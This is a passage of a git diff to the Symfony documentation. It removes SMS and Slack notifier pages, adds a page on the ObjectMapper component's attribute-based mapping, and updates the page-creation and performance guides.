Symfony'); - - // Create Slack Actions Block and add some buttons - $contributeToSymfonyBlocks = (new SlackActionsBlock()) - ->button( - 'Improve Documentation', - 'https://symfony.com/doc/current/contributing/documentation/standards.html', - 'primary' - ) - ->button( - 'Report bugs', - 'https://symfony.com/doc/current/contributing/code/bugs.html', - 'danger' - ); - - $slackOptions = (new SlackOptions()) - ->block((new SlackSectionBlock()) - ->text('The Symfony Community') - ->accessory( - new SlackImageBlockElement( - 'https://symfony.com/favicons/apple-touch-icon.png', - 'Symfony' - ) - ) - ) - ->block(new SlackDividerBlock()) - ->block($contributeToSymfonyBlocks); - - // Add the custom options to the chat message and send the message - $chatMessage->options($slackOptions); - - $chatter->send($chatMessage); - -.. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements diff --git a/notifier/texters.rst b/notifier/texters.rst deleted file mode 100644 index eb663b13726..00000000000 --- a/notifier/texters.rst +++ /dev/null @@ -1,53 +0,0 @@ -.. index:: - single: Notifier; Texters - -How to send SMS Messages -======================== - -.. versionadded:: 5.0 - - The Notifier component was introduced in Symfony 5.0 as an - :doc:`experimental feature </contributing/code/experimental>`. - -The :class:`Symfony\\Component\\Notifier\\TexterInterface` class allows -you to send SMS messages:: - - // src/Controller/SecurityController.php - namespace App\Controller; - - use Symfony\Component\Notifier\Message\SmsMessage; - use Symfony\Component\Notifier\TexterInterface; - use Symfony\Component\Routing\Annotation\Route; - - class SecurityController - { - /** - * @Route("/login/success") - */ - public function loginSuccess(TexterInterface $texter) - { - $sms = new SmsMessage( - // the phone number to send the SMS message to - '+1411111111', - // the message - 'A new login was detected!' - ); - - $sentMessage = $texter->send($sms); - - // ... - } - } - -The ``send()`` method returns a variable of type -:class:`Symfony\\Component\\Notifier\\Message\\SentMessage` which provides -information such as the message ID and the original message contents. - -.. versionadded:: 5.2 - - The ``SentMessage`` class was introduced in Symfony 5.2. - -.. seealso:: - - Read :ref:`the main Notifier guide <notifier-texter-dsn>` to see how - to configure the different transports. diff --git a/object_mapper.rst b/object_mapper.rst new file mode 100644 index 00000000000..625466ffefc --- /dev/null +++ b/object_mapper.rst @@ -0,0 +1,738 @@ +Object Mapper +============= + +.. versionadded:: 7.3 + + The ObjectMapper component was introduced in Symfony 7.3 as an + :doc:`experimental feature </contributing/code/experimental>`. + +This component transforms one object into another, simplifying tasks such as +converting DTOs (Data Transfer Objects) into entities or vice versa. It can also +be helpful when decoupling API input/output from internal models, particularly +when working with legacy code or implementing hexagonal architectures. + +Installation +------------ + +Run this command to install the component before using it: + +.. code-block:: terminal + + $ composer require symfony/object-mapper + +Usage +----- + +The object mapper service will be :doc:`autowired </service_container/autowiring>` +automatically in controllers or services when type-hinting for +:class:`Symfony\\Component\\ObjectMapper\\ObjectMapperInterface`:: + + // src/Controller/UserController.php + namespace App\Controller; + + use App\Dto\UserInput; + use App\Entity\User; + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\ObjectMapper\ObjectMapperInterface; + + class UserController extends AbstractController + { + public function updateUser(UserInput $userInput, ObjectMapperInterface $objectMapper): Response + { + $user = new User(); + // Map properties from UserInput to User + $objectMapper->map($userInput, $user); + + // ... persist $user and return response + return new Response('User updated!'); + } + } + +Basic Mapping +------------- + +The core functionality is provided by the ``map()`` method. It accepts a +source object and maps its properties to a target. The target can either be +a class name (to create a new instance) or an existing object (to update it). + +Mapping to a New Object +~~~~~~~~~~~~~~~~~~~~~~~ + +Provide the target class name as the second argument:: + + use App\Dto\ProductInput; + use App\Entity\Product; + use Symfony\Component\ObjectMapper\ObjectMapper; + + $productInput = new ProductInput(); + $productInput->name = 'Wireless Mouse'; + $productInput->sku = 'WM-1024'; + + $mapper = new ObjectMapper(); + // creates a new Product instance and maps properties from $productInput + $product = $mapper->map($productInput, Product::class); + + // $product is now an instance of Product + // with $product->name = 'Wireless Mouse' and $product->sku = 'WM-1024' + +Mapping to an Existing Object +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Provide an existing object instance as the second argument to update it:: + + use App\Dto\ProductUpdateInput; + use App\Entity\Product; + use Symfony\Component\ObjectMapper\ObjectMapper; + + $product = $productRepository->find(1); + + $updateInput = new ProductUpdateInput(); + $updateInput->price = 99.99; + + $mapper = new ObjectMapper(); + // updates the existing $product instance + $mapper->map($updateInput, $product); + + // $product->price is now 99.99 + +Mapping from ``stdClass`` +~~~~~~~~~~~~~~~~~~~~~~~~~ + +The source object can also be an instance of ``stdClass``. This can be +useful when working with decoded JSON data or loosely typed input:: + + use App\Entity\Product; + use Symfony\Component\ObjectMapper\ObjectMapper; + + $productData = new \stdClass(); + $productData->name = 'Keyboard'; + $productData->sku = 'KB-001'; + + $mapper = new ObjectMapper(); + $product = $mapper->map($productData, Product::class); + + // $product is an instance of Product with properties mapped from $productData + +Configuring Mapping with Attributes +----------------------------------- + +ObjectMapper uses PHP attributes to configure how properties are mapped. +The primary attribute is :class:`Symfony\\Component\\ObjectMapper\\Attribute\\Map`. + +Defining the Default Target Class +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Apply ``#[Map]`` to the source class to define its default mapping target:: + + // src/Dto/ProductInput.php + namespace App\Dto; + + use App\Entity\Product; + use Symfony\Component\ObjectMapper\Attribute\Map; + + #[Map(target: Product::class)] + class ProductInput + { + public string $name = ''; + public string $sku = ''; + } + + // now you can call map() without the second argument if ProductInput is the source: + $mapper = new ObjectMapper(); + $product = $mapper->map($productInput); // Maps to Product automatically + +Configuring Property Mapping +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +You can apply the ``#[Map]`` attribute to properties to customize their mapping behavior: + +* ``target``: Specifies the name of the property in the target object; +* ``source``: Specifies the name of the property in the source object (useful + when mapping is defined on the target, see below); +* ``if``: Defines a condition for mapping the property; +* ``transform``: Applies a transformation to the value before mapping. + +This is how it looks in practice:: + + // src/Dto/OrderInput.php + namespace App\Dto; + + use App\Entity\Order; + use Symfony\Component\ObjectMapper\Attribute\Map; + + #[Map(target: Order::class)] + class OrderInput + { + // map 'customerEmail' from source to 'email' in target + #[Map(target: 'email')] + public string $customerEmail = ''; + + // do not map this property at all + #[Map(if: false)] + public string $internalNotes = ''; + + // only map 'discountCode' if it's a non-empty string + // (uses PHP's strlen() function as a condition) + #[Map(if: 'strlen')] + public ?string $discountCode = null; + } + +By default, if a property exists in the source but not in the target, it is +ignored. If a property exists in both and no ``#[Map]`` is defined, the mapper +assumes a direct mapping when names match. + +Conditional Mapping with Services +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +For complex conditions, you can use a dedicated service implementing +:class:`Symfony\\Component\\ObjectMapper\\ConditionCallableInterface`:: + + // src/ObjectMapper/IsShippableCondition.php + namespace App\ObjectMapper; + + use App\Dto\OrderInput; + use App\Entity\Order; // Target type hint + use Symfony\Component\ObjectMapper\ConditionCallableInterface; + + /** + * @implements ConditionCallableInterface<OrderInput, Order> + */ + final class IsShippableCondition implements ConditionCallableInterface + { + public function __invoke(mixed $value, object $source, ?object $target): bool + { + // example: Only map shipping address if order total is above 50 + return $source->total > 50; + } + } + +Then, pass the service name (its class name by default) to the ``if`` parameter:: + + // src/Dto/OrderInput.php + namespace App\Dto; + + use App\Entity\Order; + use App\ObjectMapper\IsShippableCondition; + use Symfony\Component\ObjectMapper\Attribute\Map; + + #[Map(target: Order::class)] + class OrderInput + { + public float $total = 0.0; + + #[Map(if: IsShippableCondition::class)] + public ?string $shippingAddress = null; + } + +For this to work, ``IsShippableCondition`` must be registered as a service. + +.. _object_mapper-conditional-property-target: + +Conditional Property Mapping based on Target +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +When a source class maps to multiple targets, you may want to include or exclude +certain properties depending on which target is being used. Use the +:class:`Symfony\\Component\\ObjectMapper\\Condition\\TargetClass` condition within +the ``if`` parameter of a property's ``#[Map]`` attribute to achieve this. + +This pattern is useful for building multiple representations (e.g., public vs. admin) +from a given source object, and can be used as an alternative to +:ref:`serialization groups <serializer-groups-attribute>`:: + + // src/Entity/User.php + namespace App\Entity; + + use App\Dto\AdminUserProfile; + use App\Dto\PublicUserProfile; + use Symfony\Component\ObjectMapper\Attribute\Map; + use Symfony\Component\ObjectMapper\Condition\TargetClass; + + // this User entity can be mapped to two different DTOs + #[Map(target: PublicUserProfile::class)] + #[Map(target: AdminUserProfile::class)] + class User + { + // map 'lastLoginIp' to 'ipAddress' ONLY when the target is AdminUserProfile + #[Map(target: 'ipAddress', if: new TargetClass(AdminUserProfile::class))] + public ?string $lastLoginIp = '192.168.1.100'; + + // map 'registrationDate' to 'memberSince' for both targets + #[Map(target: 'memberSince')] + public \DateTimeImmutable $registrationDate; + + public function __construct() { + $this->registrationDate = new \DateTimeImmutable(); + } + } + + // src/Dto/PublicUserProfile.php + namespace App\Dto; + class PublicUserProfile + { + public \DateTimeImmutable $memberSince; + // no $ipAddress property here + } + + // src/Dto/AdminUserProfile.php + namespace App\Dto; + class AdminUserProfile + { + public \DateTimeImmutable $memberSince; + public ?string $ipAddress = null; // mapped from lastLoginIp + } + + // usage: + $user = new User(); + $mapper = new ObjectMapper(); + + $publicProfile = $mapper->map($user, PublicUserProfile::class); + // no IP address available + + $adminProfile = $mapper->map($user, AdminUserProfile::class); + // $adminProfile->ipAddress = '192.168.1.100' + +Transforming Values +------------------- + +Use the ``transform`` option within ``#[Map]`` to change a value before it is +assigned to the target. This can be a callable (e.g., a built-in PHP function, +static method, or anonymous function) or a service implementing +:class:`Symfony\\Component\\ObjectMapper\\TransformCallableInterface`. + +Using Callables +~~~~~~~~~~~~~~~ + +Consider the following static utility method:: + + // src/Util/PriceFormatter.php + namespace App\Util; + + class PriceFormatter + { + public static function format(float $value, object $source): string + { + return number_format($value, 2, '.', ''); + } + } + +You can use that method to format a property when mapping it:: + + // src/Dto/ProductInput.php + namespace App\Dto; + + use App\Entity\Product; + use App\Util\PriceFormatter; + use Symfony\Component\ObjectMapper\Attribute\Map; + + #[Map(target: Product::class)] + class ProductInput + { + // use a static method from another class for formatting + #[Map(target: 'displayPrice', transform: [PriceFormatter::class, 'format'])] + public float $price = 0.0; + + // can also use built-in PHP functions + #[Map(transform: 'intval')] + public string $stockLevel = '100'; + } + +Using Transformer Services +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Similar to conditions, complex transformations can be encapsulated in services +implementing :class:`Symfony\\Component\\ObjectMapper\\TransformCallableInterface`:: + + // src/ObjectMapper/FullNameTransformer.php + namespace App\ObjectMapper; + + use App\Dto\UserInput; + use App\Entity\User; + use Symfony\Component\ObjectMapper\TransformCallableInterface; + + /** + * @implements TransformCallableInterface<UserInput, User> + */ + final class FullNameTransformer implements TransformCallableInterface + { + public function __invoke(mixed $value, object $source, ?object $target): mixed + { + return trim($source->firstName . ' ' . $source->lastName); + } + } + +Then, use this service to format the mapped property:: + + // src/Dto/UserInput.php + namespace App\Dto; + + use App\Entity\User; + use App\ObjectMapper\FullNameTransformer; + use Symfony\Component\ObjectMapper\Attribute\Map; + + #[Map(target: User::class)] + class UserInput + { + // this property's value will be generated by the transformer + #[Map(target: 'fullName', transform: FullNameTransformer::class)] + public string $firstName = ''; + + public string $lastName = ''; + } + +Class-Level Transformation +~~~~~~~~~~~~~~~~~~~~~~~~~~ + +You can define a transformation at the class level using the ``transform`` +parameter on the ``#[Map]`` attribute. This callable runs *after* the target +object is created (if the target is a class name, ``newInstanceWithoutConstructor`` +is used), but *before* any properties are mapped. It must return a correctly +initialized instance of the target class (replacing the one created by the mapper +if needed):: + + // src/Dto/LegacyUserData.php + namespace App\Dto; + + use App\Entity\User; + use Symfony\Component\ObjectMapper\Attribute\Map; + + // use a static factory method on the target User class for instantiation + #[Map(target: User::class, transform: [User::class, 'createFromLegacy'])] + class LegacyUserData + { + public int $userId = 0; + public string $name = ''; + } + +And the related target object must define the ``createFromLegacy()`` method:: + + // src/Entity/User.php + namespace App\Entity; + class User + { + public string $name = ''; + private int $legacyId = 0; + + // uses a private constructor to avoid direct instantiation + private function __construct() {} + + public static function createFromLegacy(mixed $value, object $source): self + { + // $value is the initially created (empty) User object + // $source is the LegacyUserData object + $user = new self(); + $user->legacyId = $source->userId; + + // property mapping will happen *after* this method returns $user + return $user; + } + } + +Mapping Multiple Targets +------------------------ + +A source class can be configured to map to multiple different target classes. +Apply the ``#[Map]`` attribute multiple times at the class level, typically +using the ``if`` condition to determine which target is appropriate based on the +source object's state or other logic:: + + // src/Dto/EventInput.php + namespace App\Dto; + + use App\Entity\OnlineEvent; + use App\Entity\PhysicalEvent; + use Symfony\Component\ObjectMapper\Attribute\Map; + + #[Map(target: OnlineEvent::class, if: [self::class, 'isOnline'])] + #[Map(target: PhysicalEvent::class, if: [self::class, 'isPhysical'])] + class EventInput + { + public string $type = 'online'; // e.g., 'online' or 'physical' + public string $title = ''; + + /** + * In class-level conditions, $value is null. + */ + public static function isOnline(?mixed $value, object $source): bool + { + return 'online' === $source->type; + } + + public static function isPhysical(?mixed $value, object $source): bool + { + return 'physical' === $source->type; + } + } + + // consider that the src/Entity/OnlineEvent.php and PhysicalEvent.php + // files exist and define the needed classes + + // usage: + $eventInput = new EventInput(); + $eventInput->type = 'physical'; + $mapper = new ObjectMapper(); + $event = $mapper->map($eventInput); // automatically maps to PhysicalEvent + +Mapping Based on Target Properties (Source Mapping) +--------------------------------------------------- + +Sometimes, it's more convenient to define how a target object should retrieve +its values from a source, especially when working with external data formats. +This is done using the ``source`` parameter in the ``#[Map]`` attribute on the +target class's properties. + +Note that if both the ``source`` and the ``target`` classes define the ``#[Map]`` +attribute, the ``source`` takes precedence. + +Consider the following class that stores the data obtained from an external API +that uses snake_case property names:: + + // src/Api/Payload.php + namespace App\Api; + + class Payload + { + public string $product_name = ''; + public float $price_amount = 0.0; + } + +In your application, classes use camelCase for property names, so you can map +them as follows:: + + // src/Entity/Product.php + namespace App\Entity; + + use App\Api\Payload; + use Symfony\Component\ObjectMapper\Attribute\Map; + + // define that Product can be mapped from Payload + #[Map(source: Payload::class)] + class Product + { + // define where 'name' should get its value from in the Payload source + #[Map(source: 'product_name')] + public string $name = ''; + + // define where 'price' should get its value from + #[Map(source: 'price_amount')] + public float $price = 0.0; + } + +Using it in practice:: + + $payload = new Payload(); + $payload->product_name = 'Super Widget'; + $payload->price_amount = 123.45; + + $mapper = new ObjectMapper(); + // map from the payload to the Product class + $product = $mapper->map($payload, Product::class); + + // $product->name = 'Super Widget' + // $product->price = 123.45 + +When using source-based mapping, the ``ObjectMapper`` will automatically use the +target's ``#[Map(source: ...)]`` attributes if no mapping is defined on the +source class. + +Handling Recursion +------------------ + +The ObjectMapper automatically detects and handles recursive relationships between +objects (e.g., a ``User`` has a ``manager`` which is another ``User``, who might +manage the first user). When it encounters previously mapped objects in the graph, +it reuses the corresponding target instances to prevent infinite loops:: + + // src/Entity/User.php + namespace App\Entity; + + use App\Dto\UserDto; + use Symfony\Component\ObjectMapper\Attribute\Map; + + #[Map(target: UserDto::class)] + class User + { + public string $name = ''; + public ?User $manager = null; + } + +The target DTO object defines the ``User`` class as its source and the +ObjectMapper component detects the cyclic reference:: + + // src/Dto/UserDto.php + namespace App\Dto; + + use Symfony\Component\ObjectMapper\Attribute\Map; + + #[Map(source: \App\Entity\User::class)] // can also define mapping here + class UserDto + { + public string $name = ''; + public ?UserDto $manager = null; + } + +Using it in practice:: + + $manager = new User(); + $manager->name = 'Alice'; + $employee = new User(); + $employee->name = 'Bob'; + $employee->manager = $manager; + // manager's manager is the employee: + $manager->manager = $employee; + + $mapper = new ObjectMapper(); + $employeeDto = $mapper->map($employee, UserDto::class); + + // recursion is handled correctly: + // $employeeDto->name === 'Bob' + // $employeeDto->manager->name === 'Alice' + // $employeeDto->manager->manager === $employeeDto + +.. _objectmapper-custom-mapping-logic: + +Custom Mapping Logic +-------------------- + +For very complex mapping scenarios or if you prefer separating mapping rules from +your DTOs/Entities, you can implement a custom mapping strategy using the +:class:`Symfony\\Component\\ObjectMapper\\Metadata\\ObjectMapperMetadataFactoryInterface`. +This allows defining mapping rules within dedicated mapper services, similar +to the approach used by libraries like MapStruct in the Java ecosystem. + +First, create your custom metadata factory. The following example reads mapping +rules defined via ``#[Map]`` attributes on a dedicated mapper service class, +specifically on its ``map`` method for property mappings and on the class itself +for the source-to-target relationship:: + + namespace App\ObjectMapper\Metadata; + + use Symfony\Component\ObjectMapper\Attribute\Map; + use Symfony\Component\ObjectMapper\Metadata\Mapping; + use Symfony\Component\ObjectMapper\Metadata\ObjectMapperMetadataFactoryInterface; + use Symfony\Component\ObjectMapper\ObjectMapperInterface; + + /** + * A Metadata factory that implements basics similar to MapStruct. + * Reads mapping configuration from attributes on a dedicated mapper service. + */ + final class MapStructMapperMetadataFactory implements ObjectMapperMetadataFactoryInterface + { + /** + * @param class-string<ObjectMapperInterface> $mapperClass The FQCN of the mapper service class + */ + public function __construct(private readonly string $mapperClass) + { + if (!is_a($this->mapperClass, ObjectMapperInterface::class, true)) { + throw new \RuntimeException(sprintf('Mapper class "%s" must implement "%s".', $this->mapperClass, ObjectMapperInterface::class)); + } + } + + public function create(object $object, ?string $property = null, array $context = []): array + { + try { + $refl = new \ReflectionClass($this->mapperClass); + } catch (\ReflectionException $e) { + throw new \RuntimeException("Failed to reflect mapper class: " . $e->getMessage(), 0, $e); + } + + $mapConfigs = []; + $sourceIdentifier = $property ?? $object::class; + + // read attributes from the map method (for property mapping) or the class (for class mapping) + $attributesSource = $property ? $refl->getMethod('map') : $refl; + foreach ($attributesSource->getAttributes(Map::class, \ReflectionAttribute::IS_INSTANCEOF) as $attribute) { + $map = $attribute->newInstance(); + + // check if the attribute's source matches the current property or source class + if ($map->source === $sourceIdentifier) { + $mapConfigs[] = new Mapping($map->target, $map->source, $map->if, $map->transform); + } + } + + // if it's a property lookup and no specific mapping was found, map to the same property + if ($property && empty($mapConfigs)) { + $mapConfigs[] = new Mapping(target: $property, source: $property); + } + + return $mapConfigs; + } + } + +Next, define your mapper service class. This class implements ``ObjectMapperInterface`` +but typically delegates the actual mapping back to a standard ``ObjectMapper`` +instance configured with the custom metadata factory. Mapping rules are defined +using ``#[Map]`` attributes on this class and its ``map`` method:: + + namespace App\ObjectMapper; + + use App\Dto\LegacyUser; + use App\Dto\UserDto; + use App\ObjectMapper\Metadata\MapStructMapperMetadataFactory; + use Symfony\Component\ObjectMapper\Attribute\Map; + use Symfony\Component\ObjectMapper\ObjectMapper; + use Symfony\Component\ObjectMapper\ObjectMapperInterface; + + // define the source-to-target mapping at the class level + #[Map(source: LegacyUser::class, target: UserDto::class)] + class LegacyUserMapper implements ObjectMapperInterface + { + private readonly ObjectMapperInterface $objectMapper; + + // inject the standard ObjectMapper or necessary dependencies + public function __construct(?ObjectMapperInterface $objectMapper = null) + { + // create an ObjectMapper instance configured with *this* mapper's rules + $metadataFactory = new MapStructMapperMetadataFactory(self::class); + $this->objectMapper = $objectMapper ?? new ObjectMapper($metadataFactory); + } + + // define property-specific mapping rules on the map method + #[Map(source: 'fullName', target: 'name')] // Map LegacyUser::fullName to UserDto::name + #[Map(source: 'creationTimestamp', target: 'registeredAt', transform: [\DateTimeImmutable::class, 'createFromFormat'])] + #[Map(source: 'status', if: false)] // Ignore the 'status' property from LegacyUser + public function map(object $source, object|string|null $target = null): object + { + // delegate the actual mapping to the configured ObjectMapper + return $this->objectMapper->map($source, $target); + } + } + +Finally, use your custom mapper service:: + + use App\Dto\LegacyUser; + use App\ObjectMapper\LegacyUserMapper; + + $legacyUser = new LegacyUser(); + $legacyUser->fullName = 'Jane Doe'; + $legacyUser->status = 'active'; // this will be ignored + + // instantiate your custom mapper service + $mapperService = new LegacyUserMapper(); + + // use the map method of your service + $userDto = $mapperService->map($legacyUser); // Target (UserDto) is inferred from #[Map] on LegacyUserMapper + +This approach keeps mapping logic centralized within dedicated services, which can +be beneficial for complex applications or when adhering to specific architectural patterns. + +Advanced Configuration +---------------------- + +The ``ObjectMapper`` constructor accepts optional arguments for advanced usage: + +* ``ObjectMapperMetadataFactoryInterface $metadataFactory``: Allows custom metadata + factories, such as the one shown in :ref:`the MapStruct-like example <objectmapper-custom-mapping-logic>`. + The default is :class:`Symfony\\Component\\ObjectMapper\\Metadata\\ReflectionObjectMapperMetadataFactory`, + which uses ``#[Map]`` attributes from source and target classes. +* ``?PropertyAccessorInterface $propertyAccessor``: Lets you customize how + properties are read and written to the target object, useful for accessing + private properties or using getters/setters. +* ``?ContainerInterface $transformCallableLocator``: A PSR-11 container (service locator) + that resolves service IDs referenced by the ``transform`` option in ``#[Map]``. +* ``?ContainerInterface $conditionCallableLocator``: A PSR-11 container for resolving + service IDs used in ``if`` conditions within ``#[Map]``. + +These dependencies are automatically configured when you use the +``ObjectMapperInterface`` service provided by Symfony. diff --git a/page_creation.rst b/page_creation.rst index e3f6916679d..0e2fd78e180 100644 --- a/page_creation.rst +++ b/page_creation.rst @@ -1,6 +1,3 @@ -.. index:: - single: Create your First Page in Symfony - .. _creating-pages-in-symfony2: .. _creating-pages-in-symfony: @@ -10,18 +7,18 @@ Create your First Page in Symfony Creating a new page - whether it's an HTML page or a JSON endpoint - is a two-step process: -#. **Create a route**: A route is the URL (e.g. ``/about``) to your page and - points to a controller; - #. **Create a controller**: A controller is the PHP function you write that builds the page. You take the incoming request information and use it to create a Symfony ``Response`` object, which can hold HTML content, a JSON - string or even a binary file like an image or PDF. + string or even a binary file like an image or PDF; + +#. **Create a route**: A route is the URL (e.g. ``/about``) to your page and + points to a controller. .. admonition:: Screencast :class: screencast - Do you prefer video tutorials? Check out the `Stellar Development with Symfony`_ + Do you prefer video tutorials? Check out the `Cosmic Coding with Symfony`_ screencast series. .. seealso:: @@ -29,9 +26,6 @@ two-step process: Symfony *embraces* the HTTP Request-Response lifecycle. To find out more, see :doc:`/introduction/http_fundamentals`. -.. index:: - single: Page creation; Example - Creating a Page: Route and Controller ------------------------------------- @@ -42,7 +36,7 @@ Creating a Page: Route and Controller Suppose you want to create a page - ``/lucky/number`` - that generates a lucky (well, random) number and prints it. To do that, create a "Controller" class and a -"controller" method inside of it:: +"number" method inside of it:: <?php // src/Controller/LuckyController.php @@ -62,86 +56,50 @@ random) number and prints it. To do that, create a "Controller" class and a } } -Now you need to associate this controller function with a public URL (e.g. ``/lucky/number``) -so that the ``number()`` method is called when a user browses to it. This association -is defined by creating a **route** in the ``config/routes.yaml`` file: - -.. code-block:: yaml - - # config/routes.yaml - - # the "app_lucky_number" route name is not important yet - app_lucky_number: - path: /lucky/number - controller: App\Controller\LuckyController::number - -That's it! If you are using Symfony web server, try it out by going to: http://localhost:8000/lucky/number - -If you see a lucky number being printed back to you, congratulations! But before -you run off to play the lottery, check out how this works. Remember the two steps -to creating a page? - -#. *Create a route*: In ``config/routes.yaml``, the route defines the URL to your - page (``path``) and what ``controller`` to call. You'll learn more about :doc:`routing </routing>` - in its own section, including how to make *variable* URLs; - -#. *Create a controller*: This is a function where *you* build the page and ultimately - return a ``Response`` object. You'll learn more about :doc:`controllers </controller>` - in their own section, including how to return JSON responses. - .. _annotation-routes: +.. _attribute-routes: -Annotation Routes ------------------ - -Instead of defining your route in YAML, Symfony also allows you to use *annotation* -routes. To do this, install the annotations package: - -.. code-block:: terminal - - $ composer require annotations - -You can now add your route directly *above* the controller: +Now you need to associate this controller function with a public URL (e.g. ``/lucky/number``) +so that the ``number()`` method is called when a user browses to it. This association +is defined with the ``#[Route]`` attribute (in PHP, `attributes`_ are used to add +metadata to code): .. code-block:: diff - // src/Controller/LuckyController.php + // src/Controller/LuckyController.php - // ... - + use Symfony\Component\Routing\Annotation\Route; + // ... + + use Symfony\Component\Routing\Attribute\Route; - class LuckyController - { - + /** - + * @Route("/lucky/number") - + */ - public function number() - { - // this looks exactly the same - } - } + class LuckyController + { + + #[Route('/lucky/number')] + public function number(): Response + { + // this looks exactly the same + } + } -That's it! The page - http://localhost:8000/lucky/number will work exactly -like before! Annotations are the recommended way to configure routes. +That's it! If you are using :ref:`the Symfony web server <symfony-cli-server>`, +try it out by going to: http://localhost:8000/lucky/number -.. _flex-quick-intro: +.. tip:: -Auto-Installing Recipes with Symfony Flex ------------------------------------------ + Symfony recommends defining routes as attributes to have the controller code + and its route configuration at the same location. However, if you prefer, you can + :doc:`define routes in separate files </routing>` using YAML, XML and PHP formats. -You may not have noticed, but when you ran ``composer require annotations``, two -special things happened, both thanks to a powerful Composer plugin called -:ref:`Flex <symfony-flex>`. +If you see a lucky number being printed back to you, congratulations! But before +you run off to play the lottery, check out how this works. Remember the two steps +to create a page? -First, ``annotations`` isn't a real package name: it's an *alias* (i.e. shortcut) -that Flex resolves to ``sensio/framework-extra-bundle``. +#. *Create a controller and a method*: This is a function where *you* build the page and ultimately + return a ``Response`` object. You'll learn more about :doc:`controllers </controller>` + in their own section, including how to return JSON responses; -Second, after this package was downloaded, Flex runs a *recipe*, which is a -set of automated instructions that tell Symfony how to integrate an external -package. `Flex recipes`_ exist for many packages and have the ability -to do a lot, like adding configuration files, creating directories, updating ``.gitignore`` -and adding new config to your ``.env`` file. Flex *automates* the installation of -packages so you can get back to coding. +#. *Create a route*: In ``config/routes.yaml``, the route defines the URL to your + page (``path``) and what ``controller`` to call. You'll learn more about :doc:`routing </routing>` + in its own section, including how to make *variable* URLs. The bin/console Command ----------------------- @@ -163,19 +121,28 @@ To get a list of *all* of the routes in your system, use the ``debug:router`` co $ php bin/console debug:router -You should see your ``app_lucky_number`` route at the very top: +You should see your ``app_lucky_number`` route in the list: + +.. code-block:: terminal -================== ======== ======== ====== =============== - Name Method Scheme Host Path -================== ======== ======== ====== =============== - app_lucky_number ANY ANY ANY /lucky/number -================== ======== ======== ====== =============== + ---------------- ------- ------- ----- -------------- + Name Method Scheme Host Path + ---------------- ------- ------- ----- -------------- + app_lucky_number ANY ANY ANY /lucky/number + ---------------- ------- ------- ----- -------------- -You will also see debugging routes below ``app_lucky_number`` -- more on +You will also see debugging routes besides ``app_lucky_number`` -- more on the debugging routes in the next section. You'll learn about many more commands as you continue! +.. tip:: + + If your shell is supported, you can also set up console completion support. + This autocompletes commands and other input when using ``bin/console``. + See :ref:`the Console document <console-completion-setup>` for more + information on how to set up completion. + .. _web-debug-toolbar: The Web Debug Toolbar: Debugging Dream @@ -209,30 +176,30 @@ Make sure that ``LuckyController`` extends Symfony's base .. code-block:: diff - // src/Controller/LuckyController.php + // src/Controller/LuckyController.php - // ... + // ... + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - class LuckyController + class LuckyController extends AbstractController - { - // ... - } + { + // ... + } -Now, use the handy ``render()`` function to render a template. Pass it a ``number`` +Now, use the handy ``render()`` method to render a template. Pass it a ``number`` variable so you can use it in Twig:: // src/Controller/LuckyController.php namespace App\Controller; + use Symfony\Component\HttpFoundation\Response; // ... + class LuckyController extends AbstractController { - /** - * @Route("/lucky/number") - */ - public function number() + #[Route('/lucky/number')] + public function number(): Response { $number = random_int(0, 100); @@ -306,14 +273,15 @@ when needed. What's Next? ------------ -Congrats! You're already starting to master Symfony and learn a whole new +Congrats! You're already starting to learn Symfony and discover a whole new way of building beautiful, functional, fast and maintainable applications. -OK, time to finish mastering the fundamentals by reading these articles: +OK, time to finish learning the fundamentals by reading these articles: * :doc:`/routing` * :doc:`/controller` * :doc:`/templates` +* :doc:`/frontend` * :doc:`/configuration` Then, learn about other important topics like the @@ -326,11 +294,6 @@ Have fun! Go Deeper with HTTP & Framework Fundamentals -------------------------------------------- -.. toctree:: - :hidden: - - routing - .. toctree:: :maxdepth: 1 :glob: @@ -339,5 +302,5 @@ Go Deeper with HTTP & Framework Fundamentals .. _`Twig`: https://twig.symfony.com .. _`Composer`: https://getcomposer.org -.. _`Stellar Development with Symfony`: https://symfonycasts.com/screencast/symfony/setup -.. _`Flex recipes`: https://flex.symfony.com +.. _`Cosmic Coding with Symfony`: https://symfonycasts.com/screencast/symfony/setup +.. _`attributes`: https://www.php.net/manual/en/language.attributes.overview.php diff --git a/performance.rst b/performance.rst index 580118b673a..828333f338b 100644 --- a/performance.rst +++ b/performance.rst @@ -1,6 +1,3 @@ -.. index:: - single: Performance; Byte code cache; OPcache; APC - Performance =========== @@ -43,7 +40,7 @@ features, such as the APCu Cache adapter. Restrict the Number of Locales Enabled in the Application ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ -Use the :ref:`framework.translator.enabled_locales <reference-translator-enabled-locales>` +Use the :ref:`framework.enabled_locales <reference-enabled-locales>` option to only generate the translation files actually used in your application. .. _performance-service-container-single-file: @@ -63,7 +60,7 @@ container into a single file, which could improve performance when using # config/services.yaml parameters: # ... - container.dumper.inline_factories: true + .container.dumper.inline_factories: true .. code-block:: xml @@ -75,26 +72,33 @@ container into a single file, which could improve performance when using <parameters> <!-- ... --> - <parameter key="container.dumper.inline_factories">true</parameter> + <parameter key=".container.dumper.inline_factories">true</parameter> </parameters> </container> .. code-block:: php // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; - // ... - $container->setParameter('container.dumper.inline_factories', true); + return function(ContainerConfigurator $container): void { + $container->parameters()->set('.container.dumper.inline_factories', true); + }; .. _performance-use-opcache: +.. tip:: + + The ``.`` prefix denotes a parameter that is only used during compilation of the container. + See :ref:`Configuration Parameters <configuration-parameters>` for more details. + Use the OPcache Byte Code Cache ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ OPcache stores the compiled PHP files to avoid having to recompile them for every request. There are some `byte code caches`_ available, but as of PHP 5.5, PHP comes with `OPcache`_ built-in. For older versions, the most widely -used byte code cache is `APC`_. +used byte code cache is APC. .. _performance-use-preloading: @@ -106,18 +110,22 @@ make them available to 